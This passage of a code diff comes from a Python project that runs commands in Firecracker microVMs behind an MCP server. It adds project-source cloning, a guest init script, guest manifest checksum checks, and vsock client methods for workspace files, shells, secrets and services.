ttl_seconds = arguments.get("ttl_seconds", DEFAULT_TTL_SECONDS)
timeout_seconds = arguments.get("timeout_seconds", DEFAULT_TIMEOUT_SECONDS)
return pyro.run_in_vm(
environment=_require_str(arguments, "environment"),
command=_require_str(arguments, "command"),
vcpu_count=_require_int(arguments, "vcpu_count"),
mem_mib=_require_int(arguments, "mem_mib"),
vcpu_count=_optional_int(arguments, "vcpu_count", default=DEFAULT_VCPU_COUNT),
mem_mib=_optional_int(arguments, "mem_mib", default=DEFAULT_MEM_MIB),
timeout_seconds=_require_int({"timeout_seconds": timeout_seconds}, "timeout_seconds"),
ttl_seconds=_require_int({"ttl_seconds": ttl_seconds}, "ttl_seconds"),
network=_require_bool(arguments, "network", default=False),
allow_host_compat=_require_bool(
arguments,
"allow_host_compat",
default=DEFAULT_ALLOW_HOST_COMPAT,
),
)
if tool_name == "vm_list_environments":
return {"environments": pyro.list_environments()}
if tool_name == "vm_create":
ttl_seconds = arguments.get("ttl_seconds", 600)
ttl_seconds = arguments.get("ttl_seconds", DEFAULT_TTL_SECONDS)
return pyro.create_vm(
environment=_require_str(arguments, "environment"),
vcpu_count=_require_int(arguments, "vcpu_count"),
mem_mib=_require_int(arguments, "mem_mib"),
vcpu_count=_optional_int(arguments, "vcpu_count", default=DEFAULT_VCPU_COUNT),
mem_mib=_optional_int(arguments, "mem_mib", default=DEFAULT_MEM_MIB),
ttl_seconds=_require_int({"ttl_seconds": ttl_seconds}, "ttl_seconds"),
network=_require_bool(arguments, "network", default=False),
allow_host_compat=_require_bool(
arguments,
"allow_host_compat",
default=DEFAULT_ALLOW_HOST_COMPAT,
),
)
if tool_name == "vm_start":
return pyro.start_vm(_require_str(arguments, "vm_id"))
@ -275,10 +299,10 @@ def _run_direct_lifecycle_fallback(pyro: Pyro) -> dict[str, Any]:
return pyro.run_in_vm(
environment="debian:12",
command=NETWORK_PROOF_COMMAND,
vcpu_count=1,
mem_mib=512,
vcpu_count=DEFAULT_VCPU_COUNT,
mem_mib=DEFAULT_MEM_MIB,
timeout_seconds=60,
ttl_seconds=600,
ttl_seconds=DEFAULT_TTL_SECONDS,
network=True,
)

View file

@ -0,0 +1,149 @@
"""Server-scoped project startup source helpers for MCP chat flows."""
from __future__ import annotations
import shutil
import subprocess
import tempfile
from contextlib import contextmanager
from dataclasses import dataclass
from pathlib import Path
from typing import Iterator, Literal
ProjectStartupSourceKind = Literal["project_path", "repo_url"]
@dataclass(frozen=True)
class ProjectStartupSource:
"""Server-scoped default source for workspace creation."""
kind: ProjectStartupSourceKind
origin_ref: str
resolved_path: Path | None = None
repo_ref: str | None = None
def _run_git(command: list[str], *, cwd: Path | None = None) -> subprocess.CompletedProcess[str]:
return subprocess.run( # noqa: S603
command,
cwd=str(cwd) if cwd is not None else None,
check=False,
capture_output=True,
text=True,
)
def _detect_git_root(start_dir: Path) -> Path | None:
result = _run_git(["git", "rev-parse", "--show-toplevel"], cwd=start_dir)
if result.returncode != 0:
return None
stdout = result.stdout.strip()
if stdout == "":
return None
return Path(stdout).expanduser().resolve()
def _resolve_project_path(project_path: str | Path, *, cwd: Path) -> Path:
resolved = Path(project_path).expanduser()
if not resolved.is_absolute():
resolved = (cwd / resolved).resolve()
else:
resolved = resolved.resolve()
if not resolved.exists():
raise ValueError(f"project_path {resolved} does not exist")
if not resolved.is_dir():
raise ValueError(f"project_path {resolved} must be a directory")
git_root = _detect_git_root(resolved)
if git_root is not None:
return git_root
return resolved
def resolve_project_startup_source(
*,
project_path: str | Path | None = None,
repo_url: str | None = None,
repo_ref: str | None = None,
no_project_source: bool = False,
cwd: Path | None = None,
) -> ProjectStartupSource | None:
working_dir = Path.cwd() if cwd is None else cwd.resolve()
if no_project_source:
if project_path is not None or repo_url is not None or repo_ref is not None:
raise ValueError(
"--no-project-source cannot be combined with --project-path, "
"--repo-url, or --repo-ref"
)
return None
if project_path is not None and repo_url is not None:
raise ValueError("--project-path and --repo-url are mutually exclusive")
if repo_ref is not None and repo_url is None:
raise ValueError("--repo-ref requires --repo-url")
if project_path is not None:
resolved_path = _resolve_project_path(project_path, cwd=working_dir)
return ProjectStartupSource(
kind="project_path",
origin_ref=str(resolved_path),
resolved_path=resolved_path,
)
if repo_url is not None:
normalized_repo_url = repo_url.strip()
if normalized_repo_url == "":
raise ValueError("--repo-url must not be empty")
normalized_repo_ref = None if repo_ref is None else repo_ref.strip()
if normalized_repo_ref == "":
raise ValueError("--repo-ref must not be empty")
return ProjectStartupSource(
kind="repo_url",
origin_ref=normalized_repo_url,
repo_ref=normalized_repo_ref,
)
detected_root = _detect_git_root(working_dir)
if detected_root is None:
return None
return ProjectStartupSource(
kind="project_path",
origin_ref=str(detected_root),
resolved_path=detected_root,
)
@contextmanager
def materialize_project_startup_source(source: ProjectStartupSource) -> Iterator[Path]:
if source.kind == "project_path":
if source.resolved_path is None:
raise RuntimeError("project_path source is missing a resolved path")
yield source.resolved_path
return
temp_dir = Path(tempfile.mkdtemp(prefix="pyro-project-source-"))
clone_dir = temp_dir / "clone"
try:
clone_result = _run_git(["git", "clone", "--quiet", source.origin_ref, str(clone_dir)])
if clone_result.returncode != 0:
stderr = clone_result.stderr.strip() or "git clone failed"
raise RuntimeError(f"failed to clone repo_url {source.origin_ref!r}: {stderr}")
if source.repo_ref is not None:
checkout_result = _run_git(
["git", "checkout", "--quiet", source.repo_ref],
cwd=clone_dir,
)
if checkout_result.returncode != 0:
stderr = checkout_result.stderr.strip() or "git checkout failed"
raise RuntimeError(
f"failed to checkout repo_ref {source.repo_ref!r} for "
f"repo_url {source.origin_ref!r}: {stderr}"
)
yield clone_dir
finally:
shutil.rmtree(temp_dir, ignore_errors=True)
def describe_project_startup_source(source: ProjectStartupSource | None) -> str | None:
if source is None:
return None
if source.kind == "project_path":
return f"the current project at {source.origin_ref}"
if source.repo_ref is None:
return f"the clean clone source {source.origin_ref}"
return f"the clean clone source {source.origin_ref} at ref {source.repo_ref}"

View file

@ -11,6 +11,13 @@ from dataclasses import dataclass
from pathlib import Path
from typing import Any
from pyro_mcp.daily_loop import (
DEFAULT_PREPARE_ENVIRONMENT,
evaluate_daily_loop_status,
load_prepare_manifest,
prepare_manifest_path,
serialize_daily_loop_report,
)
from pyro_mcp.vm_network import TapNetworkManager
DEFAULT_PLATFORM = "linux-x86_64"
@ -25,6 +32,7 @@ class RuntimePaths:
firecracker_bin: Path
jailer_bin: Path
guest_agent_path: Path | None
guest_init_path: Path | None
artifacts_dir: Path
notice_path: Path
manifest: dict[str, Any]
@ -93,6 +101,7 @@ def resolve_runtime_paths(
firecracker_bin = bundle_root / str(firecracker_entry.get("path", ""))
jailer_bin = bundle_root / str(jailer_entry.get("path", ""))
guest_agent_path: Path | None = None
guest_init_path: Path | None = None
guest = manifest.get("guest")
if isinstance(guest, dict):
agent_entry = guest.get("agent")
@ -100,11 +109,18 @@ def resolve_runtime_paths(
raw_agent_path = agent_entry.get("path")
if isinstance(raw_agent_path, str):
guest_agent_path = bundle_root / raw_agent_path
init_entry = guest.get("init")
if isinstance(init_entry, dict):
raw_init_path = init_entry.get("path")
if isinstance(raw_init_path, str):
guest_init_path = bundle_root / raw_init_path
artifacts_dir = bundle_root / "profiles"
required_paths = [firecracker_bin, jailer_bin]
if guest_agent_path is not None:
required_paths.append(guest_agent_path)
if guest_init_path is not None:
required_paths.append(guest_init_path)
for path in required_paths:
if not path.exists():
@ -126,12 +142,17 @@ def resolve_runtime_paths(
f"runtime checksum mismatch for {full_path}; expected {raw_hash}, got {actual}"
)
if isinstance(guest, dict):
agent_entry = guest.get("agent")
if isinstance(agent_entry, dict):
raw_path = agent_entry.get("path")
raw_hash = agent_entry.get("sha256")
for entry_name, malformed_message in (
("agent", "runtime guest agent manifest entry is malformed"),
("init", "runtime guest init manifest entry is malformed"),
):
guest_entry = guest.get(entry_name)
if not isinstance(guest_entry, dict):
continue
raw_path = guest_entry.get("path")
raw_hash = guest_entry.get("sha256")
if not isinstance(raw_path, str) or not isinstance(raw_hash, str):
raise RuntimeError("runtime guest agent manifest entry is malformed")
raise RuntimeError(malformed_message)
full_path = bundle_root / raw_path
actual = _sha256(full_path)
if actual != raw_hash:
@ -145,6 +166,7 @@ def resolve_runtime_paths(
firecracker_bin=firecracker_bin,
jailer_bin=jailer_bin,
guest_agent_path=guest_agent_path,
guest_init_path=guest_init_path,
artifacts_dir=artifacts_dir,
notice_path=notice_path,
manifest=manifest,
@ -185,7 +207,11 @@ def runtime_capabilities(paths: RuntimePaths) -> RuntimeCapabilities:
)
def doctor_report(*, platform: str = DEFAULT_PLATFORM) -> dict[str, Any]:
def doctor_report(
*,
platform: str = DEFAULT_PLATFORM,
environment: str = DEFAULT_PREPARE_ENVIRONMENT,
) -> dict[str, Any]:
"""Build a runtime diagnostics report."""
report: dict[str, Any] = {
"platform": platform,
@ -227,6 +253,7 @@ def doctor_report(*, platform: str = DEFAULT_PLATFORM) -> dict[str, Any]:
"firecracker_bin": str(paths.firecracker_bin),
"jailer_bin": str(paths.jailer_bin),
"guest_agent_path": str(paths.guest_agent_path) if paths.guest_agent_path else None,
"guest_init_path": str(paths.guest_init_path) if paths.guest_init_path else None,
"artifacts_dir": str(paths.artifacts_dir),
"artifacts_present": paths.artifacts_dir.exists(),
"notice_path": str(paths.notice_path),
@ -242,6 +269,36 @@ def doctor_report(*, platform: str = DEFAULT_PLATFORM) -> dict[str, Any]:
"cache_dir": str(environment_store.cache_dir),
"environments": environment_store.list_environments(),
}
environment_details = environment_store.inspect_environment(environment)
manifest_path = prepare_manifest_path(
environment_store.cache_dir,
platform=platform,
environment=environment,
)
manifest, manifest_error = load_prepare_manifest(manifest_path)
status, reason = evaluate_daily_loop_status(
environment=environment,
environment_version=str(environment_details["version"]),
platform=platform,
catalog_version=environment_store.catalog_version,
bundle_version=(
None
if paths.manifest.get("bundle_version") is None
else str(paths.manifest["bundle_version"])
),
installed=bool(environment_details["installed"]),
manifest=manifest,
manifest_error=manifest_error,
)
report["daily_loop"] = serialize_daily_loop_report(
environment=environment,
status=status,
installed=bool(environment_details["installed"]),
cache_dir=environment_store.cache_dir,
manifest_path=manifest_path,
reason=reason,
manifest=manifest,
)
if not report["kvm"]["exists"]:
report["issues"] = ["/dev/kvm is not available on this host"]
return report

View file

@ -0,0 +1,57 @@
#!/bin/sh
set -eu
PATH=/usr/sbin:/usr/bin:/sbin:/bin
AGENT=/opt/pyro/bin/pyro_guest_agent.py
mount -t proc proc /proc || true
mount -t sysfs sysfs /sys || true
mount -t devtmpfs devtmpfs /dev || true
mkdir -p /dev/pts /run /tmp
mount -t devpts devpts /dev/pts -o mode=620,ptmxmode=666 || true
hostname pyro-vm || true
cmdline="$(cat /proc/cmdline 2>/dev/null || true)"
get_arg() {
key="$1"
for token in $cmdline; do
case "$token" in
"$key"=*)
printf '%s' "${token#*=}"
return 0
;;
esac
done
return 1
}
ip link set lo up || true
if ip link show eth0 >/dev/null 2>&1; then
ip link set eth0 up || true
guest_ip="$(get_arg pyro.guest_ip || true)"
gateway_ip="$(get_arg pyro.gateway_ip || true)"
netmask="$(get_arg pyro.netmask || true)"
dns_csv="$(get_arg pyro.dns || true)"
if [ -n "$guest_ip" ] && [ -n "$netmask" ]; then
ip addr add "$guest_ip/$netmask" dev eth0 || true
fi
if [ -n "$gateway_ip" ]; then
ip route add default via "$gateway_ip" dev eth0 || true
fi
if [ -n "$dns_csv" ]; then
: > /etc/resolv.conf
old_ifs="$IFS"
IFS=,
for dns in $dns_csv; do
printf 'nameserver %s\n' "$dns" >> /etc/resolv.conf
done
IFS="$old_ifs"
fi
fi
if [ -f "$AGENT" ]; then
python3 "$AGENT" &
fi
exec /bin/sh -lc 'trap : TERM INT; while true; do sleep 3600; done'

View file

@ -18,14 +18,18 @@
"component_versions": {
"base_distro": "debian-bookworm-20250210",
"firecracker": "1.12.1",
"guest_agent": "0.1.0-dev",
"guest_agent": "0.2.0-dev",
"jailer": "1.12.1",
"kernel": "5.10.210"
},
"guest": {
"agent": {
"path": "guest/pyro_guest_agent.py",
"sha256": "65bf8a9a57ffd7321463537e598c4b30f0a13046cbd4538f1b65bc351da5d3c0"
"sha256": "81fe2523a40f9e88ee38601292b25919059be7faa049c9d02e9466453319c7dd"
},
"init": {
"path": "guest/pyro-init",
"sha256": "96e3653955db049496cc9dc7042f3778460966e3ee7559da50224ab92ee8060b"
}
},
"platform": "linux-x86_64",

View file

@ -9,9 +9,9 @@ from pathlib import Path
from pyro_mcp.api import Pyro
NETWORK_CHECK_COMMAND = (
"rm -rf hello-world "
"&& git clone --depth 1 https://github.com/octocat/Hello-World.git hello-world >/dev/null "
"&& git -C hello-world rev-parse --is-inside-work-tree"
'python3 -c "import urllib.request as u; '
"print(u.urlopen('https://example.com').status)"
'"'
)
@ -76,7 +76,7 @@ def main() -> None: # pragma: no cover - CLI wiring
print(f"[network] execution_mode={result.execution_mode}")
print(f"[network] network_enabled={result.network_enabled}")
print(f"[network] exit_code={result.exit_code}")
if result.exit_code == 0 and result.stdout.strip() == "true":
if result.exit_code == 0 and result.stdout.strip() == "200":
print("[network] result=success")
return
print("[network] result=failure")

View file

@ -2,15 +2,41 @@
from __future__ import annotations
from pathlib import Path
from mcp.server.fastmcp import FastMCP
from pyro_mcp.api import Pyro
from pyro_mcp.api import McpToolProfile, Pyro, WorkspaceUseCaseMode
from pyro_mcp.vm_manager import VmManager
def create_server(manager: VmManager | None = None) -> FastMCP:
"""Create and return a configured MCP server instance."""
return Pyro(manager=manager).create_server()
def create_server(
manager: VmManager | None = None,
*,
profile: McpToolProfile = "workspace-core",
mode: WorkspaceUseCaseMode | None = None,
project_path: str | Path | None = None,
repo_url: str | None = None,
repo_ref: str | None = None,
no_project_source: bool = False,
) -> FastMCP:
"""Create and return a configured MCP server instance.
Bare server creation uses the generic `workspace-core` path in 4.x. Use
`mode=...` for one of the named use-case surfaces, or
`profile="workspace-full"` only when the host truly needs the full
advanced workspace surface. By default, the server auto-detects the
nearest Git worktree root from its current working directory for
project-aware `workspace_create` calls.
"""
return Pyro(manager=manager).create_server(
profile=profile,
mode=mode,
project_path=project_path,
repo_url=repo_url,
repo_ref=repo_ref,
no_project_source=no_project_source,
)
def main() -> None:

View file

@ -19,7 +19,7 @@ from typing import Any
from pyro_mcp.runtime import DEFAULT_PLATFORM, RuntimePaths
DEFAULT_ENVIRONMENT_VERSION = "1.0.0"
DEFAULT_CATALOG_VERSION = "1.0.0"
DEFAULT_CATALOG_VERSION = "4.5.0"
OCI_MANIFEST_ACCEPT = ", ".join(
(
"application/vnd.oci.image.index.v1+json",
@ -48,7 +48,7 @@ class VmEnvironment:
oci_repository: str | None = None
oci_reference: str | None = None
source_digest: str | None = None
compatibility: str = ">=1.0.0,<2.0.0"
compatibility: str = ">=4.5.0,<5.0.0"
@dataclass(frozen=True)
@ -114,6 +114,11 @@ def _default_cache_dir() -> Path:
)
def default_cache_dir() -> Path:
"""Return the canonical default environment cache directory."""
return _default_cache_dir()
def _manifest_profile_digest(runtime_paths: RuntimePaths, profile_name: str) -> str | None:
profiles = runtime_paths.manifest.get("profiles")
if not isinstance(profiles, dict):
@ -180,6 +185,10 @@ def _serialize_environment(environment: VmEnvironment) -> dict[str, object]:
}
def _artifacts_ready(root: Path) -> bool:
return (root / "vmlinux").is_file() and (root / "rootfs.ext4").is_file()
class EnvironmentStore:
"""Install and inspect curated environments in a local cache."""
@ -223,7 +232,7 @@ class EnvironmentStore:
spec = get_environment(name, runtime_paths=self._runtime_paths)
install_dir = self._install_dir(spec)
metadata_path = install_dir / "environment.json"
installed = metadata_path.exists() and (install_dir / "vmlinux").exists()
installed = self._load_installed_environment(spec) is not None
payload = _serialize_environment(spec)
payload.update(
{
@ -240,29 +249,12 @@ class EnvironmentStore:
def ensure_installed(self, name: str) -> InstalledEnvironment:
spec = get_environment(name, runtime_paths=self._runtime_paths)
self._platform_dir.mkdir(parents=True, exist_ok=True)
install_dir = self._install_dir(spec)
metadata_path = install_dir / "environment.json"
if metadata_path.exists():
kernel_image = install_dir / "vmlinux"
rootfs_image = install_dir / "rootfs.ext4"
if kernel_image.exists() and rootfs_image.exists():
metadata = json.loads(metadata_path.read_text(encoding="utf-8"))
source = str(metadata.get("source", "cache"))
raw_digest = metadata.get("source_digest")
digest = raw_digest if isinstance(raw_digest, str) else None
return InstalledEnvironment(
name=spec.name,
version=spec.version,
install_dir=install_dir,
kernel_image=kernel_image,
rootfs_image=rootfs_image,
source=source,
source_digest=digest,
installed=True,
)
installed = self._load_installed_environment(spec)
if installed is not None:
return installed
source_dir = self._runtime_paths.artifacts_dir / spec.source_profile
if source_dir.exists():
if _artifacts_ready(source_dir):
return self._install_from_local_source(spec, source_dir)
if (
spec.oci_registry is not None
@ -308,6 +300,10 @@ class EnvironmentStore:
if spec.version != raw_version:
shutil.rmtree(child, ignore_errors=True)
deleted.append(child.name)
continue
if self._load_installed_environment(spec, install_dir=child) is None:
shutil.rmtree(child, ignore_errors=True)
deleted.append(child.name)
return {"deleted_environment_dirs": sorted(deleted), "count": len(deleted)}
def _install_dir(self, spec: VmEnvironment) -> Path:
@ -344,6 +340,33 @@ class EnvironmentStore:
installed=True,
)
def _load_installed_environment(
self, spec: VmEnvironment, *, install_dir: Path | None = None
) -> InstalledEnvironment | None:
resolved_install_dir = install_dir or self._install_dir(spec)
metadata_path = resolved_install_dir / "environment.json"
if not metadata_path.is_file() or not _artifacts_ready(resolved_install_dir):
return None
try:
metadata = json.loads(metadata_path.read_text(encoding="utf-8"))
except (OSError, json.JSONDecodeError):
return None
if not isinstance(metadata, dict):
return None
source = str(metadata.get("source", "cache"))
raw_digest = metadata.get("source_digest")
digest = raw_digest if isinstance(raw_digest, str) else None
return InstalledEnvironment(
name=spec.name,
version=spec.version,
install_dir=resolved_install_dir,
kernel_image=resolved_install_dir / "vmlinux",
rootfs_image=resolved_install_dir / "rootfs.ext4",
source=source,
source_digest=digest,
installed=True,
)
def _install_from_archive(self, spec: VmEnvironment, archive_url: str) -> InstalledEnvironment:
install_dir = self._install_dir(spec)
temp_dir = Path(tempfile.mkdtemp(prefix=".partial-", dir=self._platform_dir))

View file

@ -2,9 +2,11 @@
from __future__ import annotations
import base64
import json
import socket
from dataclasses import dataclass
from pathlib import Path
from typing import Any, Callable, Protocol
@ -31,6 +33,48 @@ class GuestExecResponse:
duration_ms: int
@dataclass(frozen=True)
class GuestArchiveResponse:
destination: str
entry_count: int
bytes_written: int
@dataclass(frozen=True)
class GuestArchiveExportResponse:
workspace_path: str
artifact_type: str
entry_count: int
bytes_written: int
@dataclass(frozen=True)
class GuestWorkspaceFileReadResponse:
path: str
size_bytes: int
content_bytes: bytes
@dataclass(frozen=True)
class GuestShellSummary:
shell_id: str
cwd: str
cols: int
rows: int
state: str
started_at: float
ended_at: float | None
exit_code: int | None
@dataclass(frozen=True)
class GuestShellReadResponse(GuestShellSummary):
cursor: int
next_cursor: int
output: str
truncated: bool
class VsockExecClient:
"""Minimal JSON-over-stream client for a guest exec agent."""
@ -44,12 +88,533 @@ class VsockExecClient:
command: str,
timeout_seconds: int,
*,
env: dict[str, str] | None = None,
uds_path: str | None = None,
) -> GuestExecResponse:
request = {
payload = self._request_json(
guest_cid,
port,
{
"command": command,
"timeout_seconds": timeout_seconds,
"env": env,
},
timeout_seconds=timeout_seconds,
uds_path=uds_path,
error_message="guest exec response must be a JSON object",
)
return GuestExecResponse(
stdout=str(payload.get("stdout", "")),
stderr=str(payload.get("stderr", "")),
exit_code=int(payload.get("exit_code", -1)),
duration_ms=int(payload.get("duration_ms", 0)),
)
def upload_archive(
self,
guest_cid: int,
port: int,
archive_path: Path,
*,
destination: str,
timeout_seconds: int = 60,
uds_path: str | None = None,
) -> GuestArchiveResponse:
request = {
"action": "extract_archive",
"destination": destination,
"archive_size": archive_path.stat().st_size,
}
sock = self._connect(guest_cid, port, timeout_seconds, uds_path=uds_path)
try:
sock.sendall((json.dumps(request) + "\n").encode("utf-8"))
with archive_path.open("rb") as handle:
for chunk in iter(lambda: handle.read(65536), b""):
sock.sendall(chunk)
payload = self._recv_json_payload(sock)
finally:
sock.close()
if not isinstance(payload, dict):
raise RuntimeError("guest archive response must be a JSON object")
error = payload.get("error")
if error is not None:
raise RuntimeError(str(error))
return GuestArchiveResponse(
destination=str(payload.get("destination", destination)),
entry_count=int(payload.get("entry_count", 0)),
bytes_written=int(payload.get("bytes_written", 0)),
)
def install_secrets(
self,
guest_cid: int,
port: int,
archive_path: Path,
*,
timeout_seconds: int = 60,
uds_path: str | None = None,
) -> GuestArchiveResponse:
request = {
"action": "install_secrets",
"archive_size": archive_path.stat().st_size,
}
sock = self._connect(guest_cid, port, timeout_seconds, uds_path=uds_path)
try:
sock.sendall((json.dumps(request) + "\n").encode("utf-8"))
with archive_path.open("rb") as handle:
for chunk in iter(lambda: handle.read(65536), b""):
sock.sendall(chunk)
payload = self._recv_json_payload(sock)
finally:
sock.close()
if not isinstance(payload, dict):
raise RuntimeError("guest secret install response must be a JSON object")
error = payload.get("error")
if error is not None:
raise RuntimeError(str(error))
return GuestArchiveResponse(
destination=str(payload.get("destination", "/run/pyro-secrets")),
entry_count=int(payload.get("entry_count", 0)),
bytes_written=int(payload.get("bytes_written", 0)),
)
def export_archive(
self,
guest_cid: int,
port: int,
*,
workspace_path: str,
archive_path: Path,
timeout_seconds: int = 60,
uds_path: str | None = None,
) -> GuestArchiveExportResponse:
request = {
"action": "export_archive",
"path": workspace_path,
}
sock = self._connect(guest_cid, port, timeout_seconds, uds_path=uds_path)
try:
sock.sendall((json.dumps(request) + "\n").encode("utf-8"))
header = self._recv_line(sock)
if header.strip() == "":
raise RuntimeError("guest export response header is empty")
payload = json.loads(header)
if not isinstance(payload, dict):
raise RuntimeError("guest export response header must be a JSON object")
error = payload.get("error")
if error is not None:
raise RuntimeError(str(error))
archive_size = int(payload.get("archive_size", 0))
if archive_size < 0:
raise RuntimeError("guest export archive_size must not be negative")
with archive_path.open("wb") as handle:
remaining = archive_size
while remaining > 0:
chunk = sock.recv(min(65536, remaining))
if chunk == b"":
raise RuntimeError("unexpected EOF while receiving export archive")
handle.write(chunk)
remaining -= len(chunk)
finally:
sock.close()
return GuestArchiveExportResponse(
workspace_path=str(payload.get("workspace_path", workspace_path)),
artifact_type=str(payload.get("artifact_type", "file")),
entry_count=int(payload.get("entry_count", 0)),
bytes_written=int(payload.get("bytes_written", 0)),
)
def list_workspace_entries(
self,
guest_cid: int,
port: int,
*,
workspace_path: str,
recursive: bool,
timeout_seconds: int = 30,
uds_path: str | None = None,
) -> dict[str, Any]:
return self._request_json(
guest_cid,
port,
{
"action": "list_workspace",
"path": workspace_path,
"recursive": recursive,
},
timeout_seconds=timeout_seconds,
uds_path=uds_path,
error_message="guest workspace file list response must be a JSON object",
)
def read_workspace_file(
self,
guest_cid: int,
port: int,
*,
workspace_path: str,
max_bytes: int,
timeout_seconds: int = 30,
uds_path: str | None = None,
) -> dict[str, Any]:
payload = self._request_json(
guest_cid,
port,
{
"action": "read_workspace_file",
"path": workspace_path,
"max_bytes": max_bytes,
},
timeout_seconds=timeout_seconds,
uds_path=uds_path,
error_message="guest workspace file read response must be a JSON object",
)
raw_content = payload.get("content_b64", "")
if not isinstance(raw_content, str):
raise RuntimeError("guest workspace file read response is missing content_b64")
payload["content_bytes"] = base64.b64decode(raw_content.encode("ascii"), validate=True)
payload.pop("content_b64", None)
return payload
def write_workspace_file(
self,
guest_cid: int,
port: int,
*,
workspace_path: str,
text: str,
timeout_seconds: int = 30,
uds_path: str | None = None,
) -> dict[str, Any]:
return self._request_json(
guest_cid,
port,
{
"action": "write_workspace_file",
"path": workspace_path,
"text": text,
},
timeout_seconds=timeout_seconds,
uds_path=uds_path,
error_message="guest workspace file write response must be a JSON object",
)
def delete_workspace_path(
self,
guest_cid: int,
port: int,
*,
workspace_path: str,
timeout_seconds: int = 30,
uds_path: str | None = None,
) -> dict[str, Any]:
return self._request_json(
guest_cid,
port,
{
"action": "delete_workspace_path",
"path": workspace_path,
},
timeout_seconds=timeout_seconds,
uds_path=uds_path,
error_message="guest workspace path delete response must be a JSON object",
)
def open_shell(
self,
guest_cid: int,
port: int,
*,
shell_id: str,
cwd: str,
cols: int,
rows: int,
env: dict[str, str] | None = None,
redact_values: list[str] | None = None,
timeout_seconds: int = 30,
uds_path: str | None = None,
) -> GuestShellSummary:
payload = self._request_json(
guest_cid,
port,
{
"action": "open_shell",
"shell_id": shell_id,
"cwd": cwd,
"cols": cols,
"rows": rows,
"env": env,
"redact_values": redact_values,
},
timeout_seconds=timeout_seconds,
uds_path=uds_path,
error_message="guest shell open response must be a JSON object",
)
return self._shell_summary_from_payload(payload)
def read_shell(
self,
guest_cid: int,
port: int,
*,
shell_id: str,
cursor: int,
max_chars: int,
timeout_seconds: int = 30,
uds_path: str | None = None,
) -> GuestShellReadResponse:
payload = self._request_json(
guest_cid,
port,
{
"action": "read_shell",
"shell_id": shell_id,
"cursor": cursor,
"max_chars": max_chars,
},
timeout_seconds=timeout_seconds,
uds_path=uds_path,
error_message="guest shell read response must be a JSON object",
)
summary = self._shell_summary_from_payload(payload)
return GuestShellReadResponse(
shell_id=summary.shell_id,
cwd=summary.cwd,
cols=summary.cols,
rows=summary.rows,
state=summary.state,
started_at=summary.started_at,
ended_at=summary.ended_at,
exit_code=summary.exit_code,
cursor=int(payload.get("cursor", cursor)),
next_cursor=int(payload.get("next_cursor", cursor)),
output=str(payload.get("output", "")),
truncated=bool(payload.get("truncated", False)),
)
def write_shell(
self,
guest_cid: int,
port: int,
*,
shell_id: str,
input_text: str,
append_newline: bool,
timeout_seconds: int = 30,
uds_path: str | None = None,
) -> dict[str, Any]:
payload = self._request_json(
guest_cid,
port,
{
"action": "write_shell",
"shell_id": shell_id,
"input": input_text,
"append_newline": append_newline,
},
timeout_seconds=timeout_seconds,
uds_path=uds_path,
error_message="guest shell write response must be a JSON object",
)
self._shell_summary_from_payload(payload)
return payload
def signal_shell(
self,
guest_cid: int,
port: int,
*,
shell_id: str,
signal_name: str,
timeout_seconds: int = 30,
uds_path: str | None = None,
) -> dict[str, Any]:
payload = self._request_json(
guest_cid,
port,
{
"action": "signal_shell",
"shell_id": shell_id,
"signal": signal_name,
},
timeout_seconds=timeout_seconds,
uds_path=uds_path,
error_message="guest shell signal response must be a JSON object",
)
self._shell_summary_from_payload(payload)
return payload
def close_shell(
self,
guest_cid: int,
port: int,
*,
shell_id: str,
timeout_seconds: int = 30,
uds_path: str | None = None,
) -> dict[str, Any]:
payload = self._request_json(
guest_cid,
port,
{
"action": "close_shell",
"shell_id": shell_id,
},
timeout_seconds=timeout_seconds,
uds_path=uds_path,
error_message="guest shell close response must be a JSON object",
)
self._shell_summary_from_payload(payload)
return payload
def start_service(
self,
guest_cid: int,
port: int,
*,
service_name: str,
command: str,
cwd: str,
readiness: dict[str, Any] | None,
ready_timeout_seconds: int,
ready_interval_ms: int,
env: dict[str, str] | None = None,
timeout_seconds: int = 60,
uds_path: str | None = None,
) -> dict[str, Any]:
return self._request_json(
guest_cid,
port,
{
"action": "start_service",
"service_name": service_name,
"command": command,
"cwd": cwd,
"readiness": readiness,
"ready_timeout_seconds": ready_timeout_seconds,
"ready_interval_ms": ready_interval_ms,
"env": env,
},
timeout_seconds=timeout_seconds,
uds_path=uds_path,
error_message="guest service start response must be a JSON object",
)
def status_service(
self,
guest_cid: int,
port: int,
*,
service_name: str,
timeout_seconds: int = 30,
uds_path: str | None = None,
) -> dict[str, Any]:
return self._request_json(
guest_cid,
port,
{
"action": "status_service",
"service_name": service_name,
},
timeout_seconds=timeout_seconds,
uds_path=uds_path,
error_message="guest service status response must be a JSON object",
)
def logs_service(
self,
guest_cid: int,
port: int,
*,
service_name: str,
tail_lines: int | None,
timeout_seconds: int = 30,
uds_path: str | None = None,
) -> dict[str, Any]:
return self._request_json(
guest_cid,
port,
{
"action": "logs_service",
"service_name": service_name,
"tail_lines": tail_lines,
},
timeout_seconds=timeout_seconds,
uds_path=uds_path,
error_message="guest service logs response must be a JSON object",
)
def stop_service(
self,
guest_cid: int,
port: int,
*,
service_name: str,
timeout_seconds: int = 30,
uds_path: str | None = None,
) -> dict[str, Any]:
return self._request_json(
guest_cid,
port,
{
"action": "stop_service",
"service_name": service_name,
},
timeout_seconds=timeout_seconds,
uds_path=uds_path,
error_message="guest service stop response must be a JSON object",
)
def _request_json(
self,
guest_cid: int,
port: int,
request: dict[str, Any],
*,
timeout_seconds: int,
uds_path: str | None,
error_message: str,
) -> dict[str, Any]:
sock = self._connect(guest_cid, port, timeout_seconds, uds_path=uds_path)
try:
sock.sendall((json.dumps(request) + "\n").encode("utf-8"))
payload = self._recv_json_payload(sock)
finally:
sock.close()
if not isinstance(payload, dict):
raise RuntimeError(error_message)
error = payload.get("error")
if error is not None:
raise RuntimeError(str(error))
return payload
@staticmethod
def _shell_summary_from_payload(payload: dict[str, Any]) -> GuestShellSummary:
return GuestShellSummary(
shell_id=str(payload.get("shell_id", "")),
cwd=str(payload.get("cwd", "/workspace")),
cols=int(payload.get("cols", 0)),
rows=int(payload.get("rows", 0)),
state=str(payload.get("state", "stopped")),
started_at=float(payload.get("started_at", 0.0)),
ended_at=(
None if payload.get("ended_at") is None else float(payload.get("ended_at", 0.0))
),
exit_code=(
None if payload.get("exit_code") is None else int(payload.get("exit_code", 0))
),
)
def _connect(
self,
guest_cid: int,
port: int,
timeout_seconds: int,
*,
uds_path: str | None,
) -> SocketLike:
family = getattr(socket, "AF_VSOCK", None)
if family is not None:
sock = self._socket_factory(family, socket.SOCK_STREAM)
@ -59,33 +624,15 @@ class VsockExecClient:
connect_address = uds_path
else:
